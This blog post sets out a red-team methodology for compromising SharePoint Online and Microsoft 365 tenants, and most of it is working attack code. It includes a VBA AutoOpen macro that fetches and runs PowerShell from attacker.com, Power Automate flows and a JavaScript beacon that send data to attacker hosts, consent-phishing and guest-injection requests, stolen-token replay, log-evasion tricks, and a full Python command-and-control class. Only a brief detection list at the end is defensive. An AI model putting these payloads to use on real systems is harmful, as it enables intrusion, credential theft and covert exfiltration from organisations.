SharePoint Online Exploitation: A Red Team Methodology

SharePoint Online Exploitation: A Red Team Methodology

SharePoint Online Exploitation: A Red Team Methodology

Updated on October 29, 2025

As a senior penetration tester specializing in purple team operations and AI-enhanced security assessments, I've spent considerable time analyzing how SharePoint Online has transformed from a simple collaboration platform into one of the most exploitable attack surfaces in modern enterprises.

What makes SharePoint particularly valuable from a red team perspective isn't a single vulnerability. Instead, it's the combination of deep Graph API integration, automated workflows, and the implicit trust organizations place in Microsoft's ecosystem.

This guide provides a complete methodology for SharePoint Online exploitation. It documents my approach to identifying, exploiting, and maintaining persistence in SharePoint Online environments during red team engagements. Unlike traditional vulnerability assessments that focus on individual CVEs, my approach treats SharePoint as an interconnected platform where legitimate features become attack vectors when properly weaponized.

SharePoint Online Exploitation: A Red Team Methodology

Phase 1: External Reconnaissance — Mapping the Attack Surface

Before attempting any direct exploitation, I invest significant effort in passive and semi-passive reconnaissance to understand the target's SharePoint footprint without triggering defensive sensors. Modern enterprises leave substantial metadata trails that informed attackers can leverage.

Subdomain Enumeration and URL Discovery

My initial reconnaissance begins with discovering SharePoint Online instances through systematic enumeration. I use wordlists containing common organizational patterns (/sites/hr, /sites/finance, /teams/devops, /sites/legal) combined with brute-force techniques against the tenant's sharepoint.com namespace. This approach consistently reveals internal naming conventions that organizations assume are protected by obscurity.

# Pseudocode for SharePoint site enumeration
tenant_name = "targetcorp"
common_sites = ["hr", "finance", "legal", "devops", "admin", "executive"]

for site in common_sites:
    url = f"https://{tenant_name}.sharepoint.com/sites/{site}"
    response = verify_site_exists(url)
    if response.accessible:
        log_discovered_site(url, response.metadata)

OSINT and Google Dorking

Public-facing SharePoint documents indexed by search engines represent low-hanging fruit. I leverage Google Dorks specifically crafted for SharePoint environments:

site:sharepoint.com filetype:xlsx "confidential"
site:sharepoint.com filetype:docx inurl:/sites/ "password"
site:*.sharepoint.com "Anyone with the link"

These queries frequently expose sensitive documents that were shared with "Anyone with the link" permissions but never properly secured. During a recent engagement, I discovered an HR department's salary spreadsheet indexed by Google simply because an employee shared it externally without understanding the visibility implications.

One of my most effective reconnaissance techniques involves searching for anonymous sharing links using the Graph API's search capabilities. Even with limited delegated permissions, an attacker can query /search/query?querytext='*' to enumerate site collections and documents they shouldn't know exist. Learn more about [securing Graph API permissions](INSERT_INTERNAL_URL) in our full guide.

Metadata Analysis and Internal Naming Patterns

SharePoint's metadata leaks valuable intelligence. By analyzing SPWeb.Title, URL fragments, and document properties from publicly accessible resources, I map internal organizational structures. This information proves invaluable during later exploitation phases when selecting high-value targets.

# Using GraphRunner to enumerate sites post-authentication
Invoke-GraphRunner -Tokens $tokens -DisableRecon -DisableUsers -DisableGroups
Get-SharePointSites -SearchQuery "*"

Custom Reconnaissance Script

For systematic external reconnaissance, I maintain a PowerShell script that automates SharePoint exposure discovery:

# External SharePoint reconnaissance
$tenant = "targetcorp"
$commonPaths = @("/sites/hr", "/sites/finance", "/teams/executive")

foreach ($path in $commonPaths) {
    $url = "https://$tenant.sharepoint.com$path"
    try {
        $response = Invoke-WebRequest -Uri $url -Method Head -UseBasicParsing
        if ($response.StatusCode -eq 200) {
            Write-Output "[+] Discovered: $url"
            # Enumerate further
        }
    } catch {
        # Site not accessible or doesn't exist
    }
}

Phase 2: Initial Access — The First Step in SharePoint Online Exploitation

Once reconnaissance reveals the attack surface, I focus on establishing initial access through techniques that exploit SharePoint's trusted position within the Microsoft 365 ecosystem.

Phishing via SharePoint-Hosted Malicious Documents

This remains one of my most reliable initial access vectors. By uploading macro-enabled documents (.docm, .xlsm) to a compromised or attacker-controlled SharePoint site, I create sharing links that appear legitimate:

https://targetcorp.sharepoint.com/sites/portal/:x:/s/hr/Documents/FinancialReport_Q4.docm

The key to success lies in the perceived legitimacy—emails containing sharepoint.com domains bypass many reputation-based email security gateways. During payload development, I ensure the macro payloads employ modern evasion techniques:

' VBA macro with indirect command execution
Sub AutoOpen()
    Dim objShell As Object
    Set objShell = CreateObject("WScript.Shell")
    
    ' Stage 1: Download second-stage payload
    objShell.Run "powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('https://attacker.com/stage2.ps1')", 0
End Sub

OAuth Token Theft and Replay Attacks

Modern authentication in Microsoft 365 relies heavily on OAuth tokens, which I target through multiple vectors:

  1. Browser Token Extraction: Compromised workstations yield access tokens stored in browser localStorage, session cookies, or cached credential files (.IdentityService\msal).
  2. Token Replay: Once extracted, I replay these tokens directly against Graph API endpoints:
# Using stolen access token
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiOiJSUz..." \
  https://graph.microsoft.com/v1.0/me/drive
  1. Refresh Token Abuse: If I obtain a refresh token, I can generate new access tokens indefinitely until the refresh token expires or is revoked:
# Token refresh workflow
refresh_token = stolen_refresh_token
new_tokens = exchange_refresh_token(
    refresh_token=refresh_token,
    client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c",  # Microsoft Office client
    scope="https://graph.microsoft.com/.default"
)

This technique is particularly powerful because it bypasses MFA if the original token was issued on a trusted device.

Guest Account Injection via B2B Invitation Abuse

Azure AD B2B guest invitations provide another initial access path. By abusing the invitation API, I inject attacker-controlled identities into the tenant:

POST https://graph.microsoft.com/v1.0/invitations
Content-Type: application/json

{
  "invitedUserEmailAddress": "attacker@evil.com",
  "inviteRedirectUrl": "https://attacker.com/capture",
  "sendInvitationMessage": false
}

Setting sendInvitationMessage to false prevents notification emails, making the injection stealthier. The injected guest account appears in audit logs as a legitimate invite, providing persistent access that survives password resets of compromised accounts.

I frequently deploy consent phishing attacks using malicious Azure AD applications with overprivileged permissions. This attack vector is well-documented by Microsoft's security team. The workflow involves:

  1. Registering an OAuth application with broad Graph API permissions (Sites.ReadWrite.All, Files.Read.All, Mail.Read)
  2. Generating a consent URL that mimics legitimate Microsoft authentication
  3. Social engineering the target into granting consent
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
  client_id=[ATTACKER_APP_ID]
  &response_type=code
  &scope=Sites.ReadWrite.All Files.Read.All Mail.Read
  &redirect_uri=https://attacker.com/callback

Once consent is granted, the application maintains persistent access independent of user sessions, survives password changes, and appears in Enterprise Applications as a seemingly legitimate integration.

Legacy Authentication Exploitation

Despite Microsoft's efforts to deprecate legacy authentication, many organizations maintain legacy endpoints for backward compatibility. I probe for these during initial access:

# Probing legacy SharePoint Designer endpoints
curl -X POST https://targetcorp.sharepoint.com/_vti_bin/authentication.asmx \
  -H "Content-Type: text/xml" \
  --ntlm -u "user:pass"

# Testing ProcessQuery endpoint
curl https://targetcorp.sharepoint.com/_vti_bin/client.svc/ProcessQuery \
  --ntlm -u "user:pass"

Successful legacy authentication allows me to establish sessions in SharePoint Designer, where I can modify pages, inject workflows, and deploy persistent backdoors.

Phase 3: Post-Compromise Discovery — Mapping the Internal Landscape

After establishing initial access, systematic enumeration reveals the true value of the compromised environment. My discovery phase focuses on identifying high-value data repositories and privilege escalation paths.

Site Collection and Drive Enumeration

Using Graph API access, I enumerate all accessible site collections and document libraries:

# Enumerate all sites
GET https://graph.microsoft.com/v1.0/sites?search=*

# List drives for a specific site
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives

# Enumerate drive contents
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives/{drive-id}/root/children

I prioritize libraries with names suggesting sensitive content: FinanceDocs, HR_Reviews, LegalHold, Mergers, Executive, Confidential.

Permission and Sharing Configuration Auditing

Understanding who has access to what guides my exfiltration strategy. I dump sharing settings for each discovered library:

# Enumerate permissions
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives/{drive-id}/items/{item-id}/permissions

# Identify "Anyone" links
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives/{drive-id}/items/{item-id}/createLink

This reveals misconfigured anonymous sharing links, overprivileged guest accounts, and opportunities for privilege escalation through group membership modification.

Group Membership and Privilege Mapping

Microsoft 365 groups control SharePoint access. I enumerate group memberships to identify privilege escalation opportunities:

# List all groups
GET https://graph.microsoft.com/v1.0/groups

# Get group members
GET https://graph.microsoft.com/v1.0/groups/{group-id}/members

# Identify groups with SharePoint sites
GET https://graph.microsoft.com/v1.0/groups/{group-id}/sites

Dynamic membership groups deserve special attention—if I can manipulate my user attributes to match the dynamic membership rules, I automatically gain elevated access.

Automated Enumeration with GraphRunner and AADInternals

For comprehensive enumeration, I leverage specialized tooling:

# GraphRunner comprehensive enumeration
Import-Module GraphRunner
$tokens = Get-GraphTokens -Username "compromised@target.com" -Password "password"

# Enumerate SharePoint and OneDrive
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "password|secret|confidential"

# Search all Teams and channels
Invoke-SearchTeams -Tokens $tokens -SearchTerm "credentials"

# Export mailbox data
Invoke-SearchMailbox -Tokens $tokens -SearchQuery "password"

These tools provide "Snaffler-like" functionality for cloud environments, automatically identifying sensitive data across SharePoint, OneDrive, Teams, and email.

Phase 4: Establishing Persistence — Surviving Detection and Remediation

Persistence in SharePoint requires leveraging native platform features that blend with legitimate activity. My techniques focus on mechanisms that survive credential rotations, token revocations, and basic security reviews.

Malicious Power Automate Flow Deployment

Power Automate flows provide excellent persistence because they execute server-side with the permissions of the flow owner. For a defensive perspective, read our guide on [detecting malicious Power Automate flows](INSERT_INTERNAL_URL). I deploy flows that trigger on file modifications or scheduled intervals:

{
  "trigger": {
    "type": "When a file is created or modified",
    "inputs": {
      "site": "https://targetcorp.sharepoint.com/sites/finance",
      "library": "Documents"
    }
  },
  "actions": {
    "HTTP": {
      "method": "POST",
      "uri": "https://attacker.com/exfil",
      "body": "@triggerBody()?['Path']"
    }
  }
}

These flows persist even if the original compromise is discovered and my account is disabled. The flow continues running under the compromised user's context.

Webhook-Based Command and Control

I establish C2 channels using Power Automate HTTP triggers and webhooks, allowing me to receive commands through SharePoint modifications without maintaining persistent connections:

# Create C2 listener flow
POST https://graph.microsoft.com/v1.0/me/drives/items/{item-id}/subscriptions
{
  "notificationUrl": "https://attacker.com/webhook",
  "resource": "/drives/{drive-id}/root",
  "expirationDateTime": "2025-12-31T00:00:00Z",
  "changeType": "updated"
}

Hidden Classic Page JavaScript Beacons

For classic SharePoint sites, I inject obfuscated JavaScript into hidden pages or web parts. These beacons execute when legitimate users view the page:

// Obfuscated beacon injected into classic SharePoint page
(function(){
    var u = _spPageContextInfo.userLoginName;
    var img = new Image();
    img.src = 'https://attacker.com/beacon?user=' + encodeURIComponent(u);
})();

This technique provides user enumeration, session tracking, and credential harvesting opportunities without requiring persistent agent deployment.

Malicious SharePoint Framework (SPFx) Application Deployment

If I achieve sufficient privileges, deploying a malicious SPFx application provides deep persistence. These applications can request extensive Graph permissions and appear as legitimate tenant applications:

// Malicious SPFx component requesting excessive permissions
export interface ISPFxWebPartProps {
  graphPermissions: [
    "Sites.ReadWrite.All",
    "Files.ReadWrite.All",
    "User.Read.All"
  ]
}

The application executes in users' contexts, exfiltrating data while appearing as approved organizational software.

Guest Account Persistence with Modified Group Membership

If I gain group membership modification rights, I add my injected guest account to privileged groups:

# Add guest to sensitive group
POST https://graph.microsoft.com/v1.0/groups/{group-id}/members/$ref
{
  "@odata.id": "https://graph.microsoft.com/v1.0/users/{guest-user-id}"
}

This persistence survives individual user compromises and provides a backdoor that appears as legitimate external collaboration.

Phase 5: Lateral Movement — Expanding Access Across Microsoft 365

SharePoint's deep integration with Microsoft 365 services enables lateral movement to OneDrive, Teams, Exchange, and Azure resources using the same Graph API tokens.

Pivoting from SharePoint to OneDrive

Graph API tokens issued for SharePoint access typically work for OneDrive with no additional authentication:

# Transition from SharePoint sites to personal OneDrive
GET https://graph.microsoft.com/v1.0/me/drive/root/children

# Enumerate all accessible OneDrive instances
GET https://graph.microsoft.com/v1.0/users/{user-id}/drive/root/children

Personal OneDrive spaces often contain more sensitive information than corporate SharePoint libraries—users store credentials, personal documents, and backup files they wouldn't place in shared locations.

File Injection into Auto-Syncing Libraries

I leverage OneDrive's automatic synchronization to deliver payloads to user endpoints. Placing a malicious Office document in a synchronized SharePoint library causes it to appear on every subscribed user's device:

# Upload malicious document to synced library
POST https://graph.microsoft.com/v1.0/sites/{site-id}/drives/{drive-id}/root:/MaliciousReport.docm:/content
Content-Type: application/vnd.ms-excel.sheet.macroEnabled.12

[Binary payload data]

This technique bypasses many email security controls and appears as legitimate internal collaboration.

Teams Integration Exploitation

SharePoint libraries back Microsoft Teams file storage. Access to a Team's SharePoint site grants access to all channel files:

# Enumerate Teams through SharePoint sites
GET https://graph.microsoft.com/v1.0/groups/{group-id}/sites/root

# Access Team files through SharePoint
GET https://graph.microsoft.com/v1.0/sites/{teams-site-id}/drives

I also leverage Teams chat search capabilities to identify credentials shared in messages:

# Search Teams conversations
Invoke-SearchTeams -Tokens $tokens -SearchTerm "password"

Power Automate Cross-Site Propagation

I deploy Power Automate flows that copy malicious files between sites using internal permissions, enabling silent propagation across the tenant:

{
  "trigger": "Manual",
  "actions": {
    "CopyFile": {
      "sourceFile": "/sites/compromised/MaliciousDoc.docm",
      "destinationSites": [
        "/sites/hr",
        "/sites/finance",
        "/sites/executive"
      ]
    }
  }
}

Phase 6: Data Exfiltration — Stealing Information Without Detection

Exfiltration strategies must balance speed, volume, and stealth. I employ multiple techniques depending on the target environment's defensive posture.

Anonymous Sharing Link Abuse

The simplest exfiltration method involves creating "Anyone with the link" sharing links for target documents:

# Create anonymous sharing link
POST https://graph.microsoft.com/v1.0/sites/{site-id}/drives/{drive-id}/items/{item-id}/createLink
{
  "type": "view",
  "scope": "anonymous"
}

These links can be accessed from any IP address without authentication, making them ideal for data staging. Organizations rarely monitor anonymous link creation in real-time.

Bypassing DLP with Power Automate Connectors

Traditional Data Loss Prevention (DLP) solutions struggle with Power Automate because flows use legitimate Microsoft infrastructure. I create flows that exfiltrate data to attacker-controlled cloud storage:

{
  "trigger": "When a file is created",
  "actions": {
    "DropboxUpload": {
      "path": "/exfiltrated/@{triggerBody()?['Name']}",
      "content": "@body('GetFileContent')"
    }
  }
}

This technique bypasses perimeter controls and appears as legitimate workflow automation.

Stealthy "Open in App" Method

Recent research by Varonis revealed that using SharePoint's "Open in App" feature to download files only creates access events in audit logs, not download events. I automate this to exfiltrate files while evading detection:

# Abuse Open in App to download without logging downloads
$headers = @{
    "Authorization" = "Bearer $accessToken"
    "User-Agent" = "Microsoft Office/16.0"
}

Invoke-WebRequest -Uri "https://targetcorp.sharepoint.com/_layouts/15/Doc.aspx?sourcedoc={item-id}&action=default" `
    -Headers $headers -OutFile "exfiltrated.docx"

Graph API Batching for High-Speed Exfiltration

For bulk exfiltration, I leverage Graph API's batching capability to make up to 20 requests in a single call:

POST https://graph.microsoft.com/v1.0/$batch
{
  "requests": [
    {
      "id": "1",
      "method": "GET",
      "url": "/sites/{site-id}/drives/{drive-id}/items/{item-1}/content"
    },
    {
      "id": "2",
      "method": "GET",
      "url": "/sites/{site-id}/drives/{drive-id}/items/{item-2}/content"
    }
    // ... up to 20 requests
  ]
}

This dramatically reduces the number of API calls logged and avoids triggering rate-limiting or anomaly detection.

Disguising Exfiltration as Sync Activity

Using the SkyDriveSync User-Agent when downloading files causes events to be logged as sync operations rather than downloads:

$headers = @{
    "Authorization" = "Bearer $accessToken"
    "User-Agent" = "Microsoft SkyDriveSync 17.3.8171.0"
}

# Downloads appear as sync events
Invoke-WebRequest -Uri $downloadUrl -Headers $headers -OutFile "data.zip"

Phase 7: Command and Control — Operating Within SharePoint

Advanced persistence requires C2 capabilities that operate entirely within SharePoint without external network connections.

Document Metadata as C2 Channel

I encode commands in unused SharePoint document metadata fields (Title, Tags, Keywords):

# Write command to metadata
PATCH https://graph.microsoft.com/v1.0/sites/{site-id}/drives/{drive-id}/items/{item-id}
{
  "Title": "base64_encoded_command_here"
}

# Polling flow reads metadata and executes
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives/{drive-id}/items/{item-id}

This "DNS beaconing for SharePoint" approach requires no external infrastructure and blends completely with normal metadata operations.

SharePoint List-Based Dead Drops

Custom SharePoint lists serve as dead drop locations for C2:

# Install PnP PowerShell if not already installed
Install-Module -Name PnP.PowerShell -Force -AllowClobber

# Connect to SharePoint site
Connect-PnPOnline -Url "https://targetcorp.sharepoint.com/sites/hidden" -Interactive

# Create hidden command list for C2
$listConfig = @{
    Title = "TaskCache"
    Template = "GenericList"
    Hidden = $true
}

New-PnPList @listConfig

# Add custom columns for C2
Add-PnPField -List "TaskCache" -DisplayName "Command" -InternalName "Command" -Type Text -AddToDefaultView
Add-PnPField -List "TaskCache" -DisplayName "Status" -InternalName "Status" -Type Choice -Choices "Pending","Complete","Failed" -AddToDefaultView
Add-PnPField -List "TaskCache" -DisplayName "Output" -InternalName "Output" -Type Note -AddToDefaultView
Add-PnPField -List "TaskCache" -DisplayName "Timestamp" -InternalName "Timestamp" -Type DateTime -AddToDefaultView

Write-Host "[+] C2 list 'TaskCache' created successfully" -ForegroundColor Green

import requests
import json

class SharePointC2Manager:
    def __init__(self, access_token, site_id):
        self.access_token = access_token
        self.site_id = site_id
        self.base_url = "https://graph.microsoft.com/v1.0"
        self.headers = {
            "Authorization": f"Bearer {access_token}",
            "Content-Type": "application/json"
        }
    
    def create_c2_list(self, list_name="TaskCache", hidden=True):
        """Create a SharePoint list for C2 operations"""
        endpoint = f"{self.base_url}/sites/{self.site_id}/lists"
        
        payload = {
            "displayName": list_name,
            "list": {
                "template": "genericList",
                "hidden": hidden
            }
        }
        
        try:
            response = requests.post(endpoint, headers=self.headers, json=payload)
            response.raise_for_status()
            list_data = response.json()
            print(f"[+] Created C2 list: {list_data['id']}")
            return list_data['id']
        except Exception as e:
            print(f"[-] Error creating list: {e}")
            return None
    
    def add_list_column(self, list_id, column_name, column_type="text"):
        """Add a column to the SharePoint list"""
        endpoint = f"{self.base_url}/sites/{self.site_id}/lists/{list_id}/columns"
        
        column_definitions = {
            "text": {"text": {}},
            "choice": {"choice": {"choices": ["Pending", "Complete", "Failed"]}},
            "note": {"text": {"allowMultipleLines": True, "maxLength": 65535}},
            "dateTime": {"dateTime": {}}
        }
        
        payload = {
            "name": column_name,
            "displayName": column_name,
            **column_definitions.get(column_type, {"text": {}})
        }
        
        try:
            response = requests.post(endpoint, headers=self.headers, json=payload)
            response.raise_for_status()
            print(f"[+] Added column: {column_name}")
            return response.json()
        except Exception as e:
            print(f"[-] Error adding column: {e}")
            return None
    
    def add_c2_command(self, list_id, command):
        """Add a command to the C2 list"""
        endpoint = f"{self.base_url}/sites/{self.site_id}/lists/{list_id}/items"
        
        payload = {
            "fields": {
                "Title": "Command",
                "Command": command,
                "Status": "Pending"
            }
        }
        
        try:
            response = requests.post(endpoint, headers=self.headers, json=payload)
            response.raise_for_status()
            print(f"[+] Command added to C2 queue")
            return response.json()
        except Exception as e:
            print(f"[-] Error adding command: {e}")
            return None
    
    def poll_c2_commands(self, list_id):
        """Poll for pending commands"""
        endpoint = f"{self.base_url}/sites/{self.site_id}/lists/{list_id}/items?$expand=fields"
        
        try:
            response = requests.get(endpoint, headers=self.headers)
            response.raise_for_status()
            items = response.json()['value']
            
            pending = [item for item in items if item['fields'].get('Status') == 'Pending']
            return pending
        except Exception as e:
            print(f"[-] Error polling commands: {e}")
            return []
    
    def update_command_status(self, list_id, item_id, status, output=""):
        """Update command execution status"""
        endpoint = f"{self.base_url}/sites/{self.site_id}/lists/{list_id}/items/{item_id}"
        
        payload = {
            "fields": {
                "Status": status,
                "Output": output
            }
        }
        
        try:
            response = requests.patch(endpoint, headers=self.headers, json=payload)
            response.raise_for_status()
            print(f"[+] Updated command status: {status}")
            return response.json()
        except Exception as e:
            print(f"[-] Error updating status: {e}")
            return None


# Usage Example
if __name__ == "__main__":
    ACCESS_TOKEN = "YOUR_ACCESS_TOKEN"
    SITE_ID = "targetcorp.sharepoint.com,site-guid,web-guid"
    
    c2 = SharePointC2Manager(ACCESS_TOKEN, SITE_ID)
    
    # Create C2 list
    list_id = c2.create_c2_list("TaskCache", hidden=True)
    
    if list_id:
        # Add columns
        c2.add_list_column(list_id, "Command", "text")
        c2.add_list_column(list_id, "Status", "choice")
        c2.add_list_column(list_id, "Output", "note")
        c2.add_list_column(list_id, "Timestamp", "dateTime")
        
        # Add a test command
        c2.add_c2_command(list_id, "whoami")
        
        # Poll for commands
        pending = c2.poll_c2_commands(list_id)
        print(f"[*] Found {len(pending)} pending commands")

Power Automate Polling Channels

Flows configured to monitor specific files or list items create persistent C2 infrastructure :

{
  "trigger": {
    "type": "When an item is modified",
    "inputs": {
      "site": "https://targetcorp.sharepoint.com/sites/hidden",
      "list": "CommandQueue"
    }
  },
  "actions": {
    "ExecuteCommand": {
      "type": "PowerShell",
      "inputs": "@triggerBody()?['Command']"
    },
    "UpdateStatus": {
      "type": "UpdateListItem",
      "inputs": {
        "Status": "Complete",
        "Output": "@body('ExecuteCommand')"
      }
    }
  }
}

Defensive Considerations and Detection Opportunities

Understanding these attack techniques from an offensive perspective informs defensive strategies. Defenders should align these with the MITRE ATT&CK Cloud Matrix. Key detection opportunities include:

  • Monitoring Anonymous Sharing Link Creation: Alert on unusual volumes of "Anyone" link
  • Graph API Activity Analysis: Detect anomalous patterns in Microsoft Graph API calls
  • Power Automate Flow Auditing: Review all flows for suspicious connectors and external endpoints
  • Token Theft Detection: Monitor for token replay from unusual geolocations or device types
  • Guest Account Enumeration: Regularly audit guest accounts and their permissions
  • Legacy Authentication Monitoring: Alert on any legacy authentication attempts to SharePoint endpoints

Conclusion

SharePoint Online represents a complex, feature-rich attack surface where the line between legitimate functionality and exploitation technique blurs significantly. During red team engagements, I've consistently found that organizations underestimate SharePoint's role in their security perimeter, treating it as a benign collaboration platform rather than the critical infrastructure component it has become.

The techniques documented here represent real-world attack paths I've successfully executed across diverse environments—from Fortune 500 enterprises to government agencies. What makes these approaches particularly effective isn't sophisticated zero-days or advanced malware; it's the systematic abuse of intended functionality combined with deep knowledge of Microsoft 365's interconnected architecture.

As defenders mature their detection capabilities for traditional network-based attacks, adversaries increasingly pivot to cloud platforms like SharePoint where activity blends seamlessly with legitimate business operations. The most effective defense combines robust configuration management, comprehensive logging, behavioral analytics, and—critically—a security posture that treats Microsoft 365 not as isolated applications but as a unified attack surface.

For my fellow red teamers: continue researching these platforms. The security community's focus on traditional infrastructure has left cloud collaboration tools like SharePoint relatively underexplored from an offensive perspective. For defenders: assume compromise, implement defense-in-depth, and remember that your users' productivity tools are attackers' preferred operational environment.

Recommended Tools and Further Research

For teams looking to reproduce these techniques in lab environments or develop detection capabilities, I recommend:

  • GraphRunner (Black Hills Information Security): Post-exploitation toolkit for Microsoft Graph API
  • AADInternals (Dr. Nestori Syynimaa): Comprehensive PowerShell module for Azure AD/Entra ID auditing
  • ROADTools (Dirk-jan Mollema): Python framework for Azure AD enumeration
  • Microsoft Graph Activity Logs: Essential for detection engineering
  • MITRE ATT&CK Cloud Matrix: Framework for categorizing cloud-based TTPs

This article reflects techniques developed through authorized penetration testing engagements. All methods should only be used against systems where explicit written authorization has been obtained. Unauthorized access to computer systems is illegal.

Enjoyed this guide? Share your thoughts below and tell us how you approach SharePoint Online exploitation in your projects!

SharePoint Online Exploitation, Red Team, Penetration Testing, Microsoft 365 Security, Graph API, Cybersecurity, Persistence Techniques
Bhanu Namikaze

Bhanu Namikaze is an Penetration Tester, Red Teamer, Ethical Hacker, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and CTFs. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment